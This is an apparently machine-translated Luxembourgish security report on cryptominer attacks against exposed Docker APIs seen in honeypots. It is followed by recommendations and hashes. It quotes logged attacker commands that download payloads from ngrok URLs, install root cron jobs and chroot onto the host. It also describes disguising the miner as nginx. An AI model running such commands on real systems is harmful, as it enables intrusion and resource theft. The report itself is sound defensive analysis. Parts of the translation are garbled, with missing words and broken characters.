Mir analyséieren d'Donnéeë gesammelt mat HunnegbehÀlter, déi mir erstallt hunn fir Geforen ze verfolgen. A mir hunn bedeitend Aktivitéit vun onerwënschten oder onerlaabten cryptocurrency-Miner entdeckt, déi als rogue Container ofgesat goufen mat engem Communautéit publizéiert Bild op Docker Hub. D'Bild gëtt als Deel vun engem Service benotzt deen béiswëlleg cryptocurrency Miner liwwert.
ZousÀtzlech sinn Programmer fir mat Netzwierker ze schaffen installéiert fir oppe Nopeschcontainer an Uwendungen duerchzeféieren.
Mir loossen eis Honeypots sou wéi et ass, dat heescht mat Standardastellungen, ouni Sécherheetsmoossnamen oder spéider Installatioun vun zousÀtzlech Software. Notéiert w.e.g. datt Docker Empfehlungen fir initial Setup huet fir Feeler an einfache Schwachstelle ze vermeiden. Awer d'Honeypots déi benotzt gi sinn Container, entwéckelt fir Attacken z'entdecken déi op d'Containeriséierungsplattform riicht, net d'Applikatiounen an de Container.
Déi detektéiert béiswëlleg Aktivitéit ass och bemierkenswÀert well se keng Schwachstelle erfuerdert an och onofhÀngeg vun der Docker Versioun ass. E falsch konfiguréierten, an dofir oppenen Containerbild ze fannen ass alles wat UgrÀifer brauche fir vill oppe Serveren ze infizéieren.
Déi net zougemaach Docker API erlaabt de Benotzer eng breet Palette vun , dorënner eng Lëscht vun Lafen Container kréien, Logbicher aus engem spezifeschen Container kréien, Start, Stoppen (inklusiv gezwongen) an esouguer en neie Container aus engem spezifeschen Bild mat spezifizéierten Astellungen schafen.
Op der lĂ©nkser SĂ€it ass d'Malware Liwwermethod. Riets ass d'ĂmgĂ©igend vum UgrĂ€ifer, wat et erlaabt d'Biller op afstand ze rullen.
Verdeelung no Land vun 3762 oppen Docker APIs. Baséiert op Shodan Sich vum 12.02.2019/XNUMX/XNUMX
Attack Kette an Notzlaascht Optiounen
Béiswëlleg Aktivitéit gouf festgestallt net nëmme mat der Hëllef vun Hunnegdëppen. Daten vum Shodan weisen datt d'Zuel vun exponéierten Docker APIs (kuckt zweet Grafik) eropgaang ass zënter mir e falsch konfiguréierten Container ënnersicht hunn, deen als Bréck benotzt gëtt fir Monero Krypto-WÀhrungsmining Software z'installéieren. Am Oktober d'lescht Joer (2018, aktuell Daten ca. Iwwersetzer) et waren nëmmen 856 oppe APIen.
Eng Ănnersichung vun der Honeypot Logbicher gewisen, datt Container Bild Benotzen war och mat der Benotzung vun assoziĂ©iert , e Tool fir sĂ©cher Verbindungen opzebauen oder Traffic vun Ă«ffentlech zougĂ€ngleche Punkten op spezifizĂ©ierte Adressen oder Ressourcen (zum Beispill localhost) weiderzebrĂ©ngen. DĂ«st erlaabt UgrĂ€ifer dynamesch URLen ze kreĂ©ieren wann se Notzlaascht op en oppene Server liwweren. DrĂ«nner sinn Code Beispiller aus de Logbicher dĂ©i MĂ«ssbrauch vum ngrok Service weisen:
Tty: false
Command: â-c curl âretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ,
Tty: false,
Cmd: â-c curl âretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c âcron || crondââ,
Entrypoint: â/bin/shâWĂ©i Dir gesitt, ginn dĂ©i eropgeluede Dateie vu stĂ€nneg verĂ€nnerend URLen erofgelueden. DĂ«s URLen hunn e kuerzen Verfallsdatum, sou datt Notzlaascht net nom Verfallsdatum erofgeluede kĂ«nne ginn.
Et gëtt zwou Payload-Optiounen. Déi éischt ass e kompiliéierte Miner am ELF-Format fir Linux (identifizéiert als Coinminer.SH.MALXMR.ATNO), deen sech mam Mining-Pool verbënnt. Déi zweet ass e Skript (TrojanSpy.SH.ZNETMAP.A), dat entwéckelt gouf fir bestëmmt Netzwierk-Tools ze kréien, déi benotzt gi fir NetzwierkberÀicher ze scannen an dann no neien Ziler ze sichen.
De Dropper Skript setzt zwou Variabelen, déi dann benotzt gi fir de Krypto-WÀhrungsminer z'installéieren. D'HOST Variabel enthÀlt d'URL wou déi béiswëlleg Dateie lokaliséiert sinn, an d'RIP Variabel ass den Dateinumm (tatsÀchlech den Hash) vum Miner deen ofgesat gëtt. D'HOST Variabel Ànnert sech all Kéier wann d'Hash Variabel Ànnert. De Skript probéiert och ze kontrolléieren datt keng aner cryptocurrency Miner um attackéierte Server lafen.
Beispiller vun HOST a RIP Variablen, souwéi e Code Snippet benotzt fir ze kontrolléieren datt keng aner Miner lafen
Ier de Miner gestart gĂ«tt, gĂ«tt en an nginx Ă«mbenannt. Aner Versioune vun dĂ«sem Skript nennen de Miner an aner legitim Servicer Ă«m, dĂ©i an der Ămwelt prĂ€sent kĂ©inte sinn. LinuxDĂ«st ass normalerweis genuch fir Kontrollen op der LĂ«scht vun de lafende Prozesser ze Ă«mgoen.
D'Sichskript huet och Features. Et funktionnéiert mam selwechten URL Service fir déi néideg Tools z'installéieren. Dorënner ass d'Zmap BinÀr, déi benotzt gëtt fir Netzwierker ze scannen an eng Lëscht vun oppene Ports ze kréien. De Skript lued och eng aner BinÀr déi benotzt gëtt fir mat de fonnte Servicer ze interagéieren an Bannere vun hinnen ze kréien fir zousÀtzlech Informatioun iwwer de fonnte Service ze bestëmmen (zum Beispill seng Versioun).
De Skript bestëmmt och e puer Netzwierkbereich fir ze scannen, awer dëst hÀnkt vun der Versioun vum Skript of. Et setzt och d'Zilporte vun de Servicer - an dësem Fall Docker - ier de Scan leeft.
Soubal potenziell Ziler fonnt ginn, ginn d'Banneren automatesch ewechgeholl. De Skript filtert och Ziler op Basis vun de Servicer, Applikatiounen, Komponenten oder Plattformen, un deenen et interesséiert ass: Redis, Jenkins, Drupal, MODX, , Docker 1.16 Client an Apache CouchDB. Wann de gescannte Server mat engem vun hinnen entsprécht, gëtt se an enger Textdatei gespÀichert, déi UgrÀifer spéider fir spéider Analyse an Hacking benotze kënnen. Dës Textdateien ginn op d'Servere vun den UgrÀifer iwwer dynamesch Linken eropgelueden. Dat ass, eng separat URL gëtt fir all Datei benotzt, dat heescht datt de spéideren Zougang schwéier ass.
Den Attackvektor ass e Docker-Bild, wéi et an den nÀchsten zwee Stéck Code ka gesi ginn.
Uewen ass ëmbenannt op e legitimen Service, an ënnen ass wéi zmap benotzt gëtt fir Netzwierker ze scannen
Am Top sinn virdefinéiert NetzwierkberÀicher, ënnen sinn spezifesch Ports fir no Servicer ze sichen, dorënner Docker
De Screenshot weist datt d'Alpine-Curl Bild méi wéi 10 Millioune Mol erofgeluede gouf
Baséiert op Alpine Linux a curl, e ressourcenspuerend CLI-Tool fir d'Iwwerdroe vu Dateien iwwer verschidde Protokoller, kann kompiliéiert ginn . Wéi Dir am virege Bild gesitt, ass dëst Bild scho méi wéi 10 Millioune mol erofgeluede ginn. Eng grouss Unzuel vun Downloads kann heeschen dëst Bild als Entréespunkt ze benotzen; dëst Bild gouf viru méi wéi sechs Méint aktualiséiert; Benotzer hunn aner Biller vun dësem Repository net sou dacks erofgelueden. An Docker - eng Rei vun Instruktioune benotzt fir e Container ze konfiguréieren fir se ze lafen. Wann d'Entrée Punkt Astellunge falsch sinn (zum Beispill, de Container ass aus dem Internet oppe lénks), kann d'Bild als Attack Vecteure benotzt ginn. UgrÀifer kënnen et benotzen fir eng Notzlaascht ze liwweren wa se e falsch konfiguréierten oder oppene Container fannen, deen net ënnerstëtzt gëtt.
Et ass wichteg ze bemierken datt dĂ«st Bild (Alpine-Curl) selwer net bĂ©iswĂ«lleg ass, awer wĂ©i Dir uewen gesitt, kann et benotzt ginn fir bĂ©iswĂ«lleg Funktiounen auszefĂ©ieren. Ăhnlech Docker Biller kĂ«nnen och benotzt ginn fir bĂ©iswĂ«lleg AktivitĂ©iten auszefĂ©ieren. Mir hunn Docker kontaktĂ©iert a mat hinnen un dĂ«sem Thema geschafft.
Recommandatiounen
bleift fir vill Firmen, besonnesch déi ëmsetzen , konzentréiert sech op séier Entwécklung a Liwwerung. Alles gëtt verschÀerft duerch d'Noutwendegkeet fir d'Regele fir d'Audit an d'Iwwerwaachung ze respektéieren, d'Notzung fir d'Vertraulechkeet vun den Donnéeën ze iwwerwaachen, wéi och den enorme Schued vun hirer Net-Konformitéit. D'Integratioun vun der Sécherheetsautomatiséierung an den Entwécklungsliewenszyklus hëlleft Iech net nëmmen SécherheetslÀcher ze fannen déi soss onentdeckt kënne ginn, awer et hëlleft Iech och onnéideg Aarbechtsbelaaschtung ze reduzéieren, sou wéi zousÀtzlech Software Builds fir all entdeckt Schwachstelle oder Mësskonfiguratioun no enger Applikatioun ofgebaut gëtt.
Den TĂ«schefall, deen an dĂ«sem Artikel diskutĂ©iert gĂ«tt, beliicht d'Noutwendegkeet fir SĂ©cherheet vun Ufank un ze berĂŒcksichtegen, dorĂ«nner dĂ©i folgend Empfehlungen:
- Fir Systemadministratoren an EntwĂ©ckler: IwwerprĂ©ift Ă«mmer Ăr API Astellunge fir sĂ©cher ze stellen datt alles konfigurĂ©iert ass fir nĂ«mmen Ufroe vun engem spezifesche Server oder engem internen Netzwierk ze akzeptĂ©ieren.
- Follegt de Prinzip vun de mannst Rechter: suergen datt Container Biller Ă«nnerschriwwen a verifizĂ©iert sinn, limitĂ©iert Zougang zu kriteschen Komponenten (Container Startservice) a fĂŒĂŒgt VerschlĂ«sselung un Netzwierkverbindungen.
- Follegt an erméiglechen Sécherheetsmechanismen, z.B. an gebaut-an .
- Benotzt automatisĂ©iert Scannen vu Runtimes a Biller fir zousĂ€tzlech Informatioun iwwer d'Prozesser dĂ©i am Container lafen ze krĂ©ien (zum Beispill fir Spoofing z'entdecken oder no Schwachstelle ze sichen). Applikatiounskontroll an IntegritĂ©itsiwwerwaachung hĂ«llefen anormal Ănnerungen op Serveren, Dateien a SystemberĂ€icher ze verfolgen.
Trendmicro hĂ«lleft DevOps Teams sĂ©cher ze bauen, sĂ©ier ausrollen an iwwerall starten. Trend Micro Bitt mĂ€chteg, streamlined an automatisĂ©iert SĂ©cherheet iwwer d'DevOps Pipeline vun enger Organisatioun a bitt verschidde Bedrohungsverteidegungen fir kierperlech, virtuell a Wollek Aarbechtslaascht beim Runtime ze schĂŒtzen. Et gĂ«tt och Container SĂ©cherheet mat Đž , dĂ©i Docker Container Biller fir Malware a Schwachstelle scannt zu all Punkt an der EntwĂ©cklungspipeline fir Geforen ze vermeiden ier se ofgesat ginn.
Unzeeche vu Kompromëss
Zesummenhang Hashes:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
op Praktesch Spriecher weisen wéi eng Astellunge fir d'éischt musse gemaach ginn fir d'Wahrscheinlechkeet ze minimiséieren oder d'Optriede vun der uewen beschriwwener Situatioun komplett ze vermeiden. An den 19-21 August op engem online intensiv Dir kënnt dës an Àhnlech Sécherheetsproblemer mat de Kollegen an den praktizéierenden Enseignanten op enger Table Ronde diskutéieren, wou jidderee sech kann ausschwÀtzen an op d'Péng an d'Erfolleg vun erfuerene Kollegen lauschteren.
Source: will.com
